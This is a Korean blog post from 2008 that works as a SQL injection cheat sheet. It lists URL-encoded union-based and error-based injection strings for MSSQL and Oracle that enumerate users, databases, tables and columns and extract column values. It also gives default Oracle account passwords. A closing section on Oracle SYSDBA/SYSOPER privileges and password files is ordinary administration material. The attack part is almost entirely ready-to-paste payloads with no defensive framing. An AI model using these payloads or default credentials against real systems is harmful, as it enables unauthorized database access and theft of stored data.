웹/공격

sql injection 참고자료

레곤플라이 2008. 11. 27. 20:49

>    %3E
<    %3C
'    %27
=    %3D
공백  +
)    %29
(    %28
===============================================================
                     MSSQL 공격시 쿼리문
===============================================================
사용자 확인
convert(int,(select+user));--

'union select 1, '2', '3', table_name, 5, 6, 7, '8' from information_schema.tables;

버전정보 확인
'union select @@version--
' or 1=(@@Version)--

현재 사용되는 DB 접근 가능한 사용자 첫번째 목록
' or 1=(select top 1 name from sysusers)--
현재 DB 사용자
' or 1=(select current_user)--

현재 사용 DB
'union select db_name()--
' or 1=(select db_name())--

DB리스트에서 첫번째 DB 이름 출력
'union select top 1 name from master..sysdatabases--
' or 1=(select top 1 name from master..sysdatabases)--

id번호에 해당 하는 DB 이름 출력
' or 1=(select name from master..sysdatabases where dbid=1)--

해당 DB의 모든 테이블 정보 알아 내기
' or 1=(select name from sysobjects where xtype = 'u')--
' or 1=(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES)--

현재 사용되는 DB의 테이블 중 제일 첫번째 테이블 이름 알아 내기
'union select top 1 name from sysobjects where xtype='U'--
' or 1=(select top 1 name from sysobjects where xtype='U')--
%27+or+1%3D%28select+top+1+name+from+sysobjects+where+xtype%3D%27U%27%29--
select table_name from user_tables

특정 DB의 테이블 중 제일 첫번째 테이블 이름 알아 내기
' or 1=(select top 1 name from 해당db명.dbo.sysobjects where xtype='U')--

현재 사용되는 DB의 테이블 중 제외할_테이블명을 뺀 첫번째 테이블 출력
'union select top 1 name from sysobjects where xtype='U' and name <> '제외할_테이블명'--
' or 1=(select top 1 name from sysobjects where xtype='U' and name <> '제외할_테이블명')--

해당 id 값의 시스템 테이블 가져오기
' or 1=(select name from sysobjects where id=해당id)--

현재 사용되는 DB의 특정 테이블의 필드(컬럼) 값 가져오기
' or 1=(select * from information_schema.columns where table_name='테이블명')--
' or 1=(select top 1 name from 테이블명)--

현재 사용되는 DB의 특정 테이블의 첫번째 필드명(컬럼명) 가져오기
%27union+select+top+1+syscolumns.name+from+sysobjects+INNER+JOIN+syscolumns+ON+sysobjects.id+%3d+syscolumns.id+where+sysobjects.name%3d%27테이블 명%27--
' or 1=(select top 1 syscolumns.name from sysobjects INNER JOIN syscolumns ON sysobjects.id = syscolumns.id where sysobjects.name='테이블 명')--

현재 사용되는 DB의 해당 테이블 중 제외할_필드명을 뺀 첫번째 필드명 출력
'union select top 1 syscolumns.name from sysobjects INNER JOIN syscolumns ON sysobjects.id = syscolumns.id where sysobjects.name='테이블 명' and syscolumns.name <> '제외할 필드명'--
' or 1=(select top 1 syscolumns.name from sysobjects INNER JOIN syscolumns ON sysobjects.id = syscolumns.id where sysobjects.name='테이블 명' and syscolumns.name <> '제외할 필드명')--

특정 테이블의 특정 컬럼값 확인
'union select top 1 컬럼명 from 테이블명 where 컬럼명 <> 제외할컬럼값--
%27union+select+top+1+su_id+from+super_user+where+su_id+<+>+%27응원단%27--
' or 1=(select 컬럼명 from 테이블명)--

---------- 기타 ----------------
테이블에 대한 정보 보기
select * from [데이타베이스 이름].[테이블 소유자].[테이블이름]
[MsSql] 테이블 정보 보기 
exec sp_help 테이블명
exec sp_columns 테이블명
exec sp_helpindex 테이블명 -- 색인정보보기

===============================================================
                     Oracle 공격시 쿼리문
===============================================================
접두어 user_, all_, dba_ 로 시작하는 view 들은 여러가지가 있음
---------------------------------------------------------------
기본 패스워드
sys유저     - change_on_install
system유저  - manager
scott유저   - tiger
---------------------------------------------------------------
열의 개수 추측
' union all select 1,1 from sys.tab--
열의 타입 추측
' union all select '1',1 from sys.tab--
DB에 등록된 모든 사용자들 확인 : rownum 수정으로 특정 사용자 확인
select username from all_users; (dba 권한이 있을 경우는 dba_users 조회가능)

현재 DB 사용자

현재 사용 DB

DB링크 보기
(오라클에서는 데이타베이스 리스트를 보는 명령어 없음. 있다면 데이타베이스 링크를 보는 정도)
select * from dba_db_links;

DB리스트에서 첫번째 DB 이름 출력

DB 접속한 사용자의 권한 확인
select * from session_privs; // 세션권한
select * from ROLE_SYS_PRIVS;  
select * from USER_ROLE_PRIVS;
select * from USER_SYS_PRIVS;

해당 DB의 모든 테이블 정보 알아 내기
' union all select tname from sys.tab-- 
select * from tab;
select table_name from user_tables;
select * from user_objects where object_type = 'TABLE';

해당 DB의 첫번째 테이블 정보 알아 내기
select table_name from user_tables where rownum=1;

현재 사용되는 DB의 특정 테이블의 첫번째 레코드 값 가져오기
select * from 테이블명 where rownum =1;
select * from 테이블명 where rownum < 2;

현재 사용되는 DB의 첫번째 테이블명 가져오기 : rownum 수정으로 특정 테이블명 가져옴
%27union+select+top+1+syscolumns.name+from+sysobjects+INNER+JOIN+syscolumns+ON+sysobjects.id+%3d+syscolumns.id+where+sysobjects.name%3d%27테이블 명%27--
%27union+select+table_name+from+user_tables+where+rownum%3D1--
' union select table_name from user_tables where rownum=1--

현재 사용되는 DB의 특정 테이블의 모든 필드(컬럼) 명 가져오기
select column_name from cols where table_name = '테이블명';

현재 사용되는 DB의 특정 테이블의 첫번째 필드(컬럼) 명 가져오기 : rownum 수정으로 특정 필드명 가져옴
SELECT column_name FROM cols WHERE table_name = '테이블명' and rownum=1;

현재 사용되는 DB의 특정 테이블의 특정 필드(컬럼) 명 가져오기
select column_name from cols where table_name = '테이블명' AND column_name LIKE '찾을 필드명%'

특정 테이블의 특정 컬럼값 확인
select 컬럼명 from 테이블명;

-----------------------------------
일반사용자로 DB START혹은 Shutdowm 하는 방법
SVRMGR> create user jclee identified by jclee default tablespace users temporary 
 tablespace temp; 
명령문이 처리되었습니다 
SVRMGR> grant connect, resource to jclee; 
명령문이 처리되었습니다 
SVRMGR> grant sysdba, sysoper to jclee; 
명령문이 처리되었습니다 
SVRMGR> connect jclee/jclee 
연결되었습니다 
SVRMGR> shutdown 
ORA-01031: 권한이 불충분합니다 
SVRMGR> connect jclee/jclee as sysdba 
연결되었습니다 
SVRMGR> shutdown 
데이터베이스가 닫혔습니다 
데이터베이스가 분리되었습니다 
ORACLE 인스턴스가 종료되었습니다 
SVRMGR> 

부가적으로 설명을 드리자면  
SVRMGR> connect jclee/jclee as sysdba 이렇게 접속을 
함으로서  DB를 shutdown 시킬수 있게 되었는데, 
그이유는 다음과 같습니다. 
우선 sysdba나,sysoper에 대해 먼저 설명을 드리자면 
  SYSOPER : STARTUP 
                 SHUTDOWN 
                 ALTER DATABASE OPEN | MOUNT 
                 ALTER DATABAE BACKUP CONTROLFILE 
                 ALTER TABLESPACE BEGIN/END BACKUP 
                 RECOVER DATABASE 
                 ALTER DATABASE ARCHIVELOG 
                 RESTRICTED SESSION 
              
   SYSDBA  : SYSOPER의 권한을 모두 갖고, 
                 CREATE DATABASE 
                 RECOVER DATABASE ~ 을 할 수 있다. 
일반 사용자도 sysoper나 sysdba 권한을 가진다면 Oracle Instance를 
내렸다 올렸다 할수 있습니다. 
위와 같이 일반 User등에게 sysdba, sysoper등의 권한을 주기위해서는 
password File을 설정해야 하는데, 다음과 같은 방법으로 하면 됩니다. 
1) password file을 만든다. 
    
      $ orapwd file=$ORACLE_HOME/dbs/PawwWordFile이름 password=oracle   
                    entries=5 
        (password : INTERNAL 과 SYS의 암호를 설정하는 매개변수 
         암호 변경을 위해 ALTER USER명령어를 실행한다면 데이터 딕셔너리와  
         암호 파일에 저장된 암호는 모두 갱신 
         entries : SYSDBA나 SYSOPER로 데이터베이스에 접속할 수 있는 최대 사용자 수 
         와 일치) 
       
 2) $ORACLE_HOME/dbs/initSID.ora 파일을 수정한다. 
    
      REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE 
      REMOTE_LOGIN_PASSWORDFILE의 설정값 
     ▶ NONE 
        ·REMOTE_LOGIN_PASSWORDFILE의 기본값 
        ·Oracle7은 암호 파일이 없는 것처럼 작동 
     ▶ EXCLUSIVE 
        ·EXCLUSIVE암호 파일은 하나의 데이터베이스에만 사용가능. 
        ·하나의 EXCLUSIVE파일만이 SYS나 INTERNAL이 아닌 다른 사용자명을  
         가질 수 있음. 
       ·관리자가 EXCLUSIVE암호 파일을 사용하면 개별 사용자에게 SYSOPER과 
        SYSDBA시스템 권한을 부여하여 그 사용자가 자신의 사용자명으로  
        데이터베이스에 접속하도록 함. 
     ▶ SHARED 
       ·SHARED암호 파일은 여러 데이터베이스에서 사용 가능. 
       ·SHARED암호 파일에 의해 인식되는 사용자는 SYS와 INTERNAL뿐임. 
      ·사용자를 추가할 수 없음. 
      ·SYSDBA나 SYSOPER 시스템 권한이 필요한 모든 사용자는  
       동일한 이름(SYS)과 암호로 접속해야 함. 
      ·단일 DBA가 여러 데이터베이스를 관리할 때 유용.  
       
 3) 사용자에게 sysoper, sysdba 권한을 준다. 
    
      SVRMGR> grant sysdba, sysoper to jclee; 
       
 4) V$PWFILE_USERS 로 password file의 member들을 확인 할 수 있다. 
    
     SVRMGR> select * from v$pwfile_users; 
     USERNAME                       SYSDB SYSOP 
     ------------------------------ ----- ----- 
     INTERNAL                       TRUE  TRUE 
     SYS                            TRUE  TRUE 
     JCLEE                          TRUE  TRUE 
     3 행이 선택되었습니다 
 5) 접속하는 방법. 
    
      SVRMGR> connect jclee/jclee as sysdba 
password file을 설정하게 되면 sys와 internal인 경우에는 
기본적으로  sysoper,sysdba 값이 true로 되어 있습니다. 
connect sys/change_on_install as sysdba 라고 접속한후
DB를 내리거나, 올릴수 있다는 애기죠.
** 일반사용자명과 암호를 사용하여 SYSDBA나 SYSOPER권한으로 접속하
면 접속한 사용자명과 연관된 스키마가 아닌 SYS의 기본 스키마로 접속됨.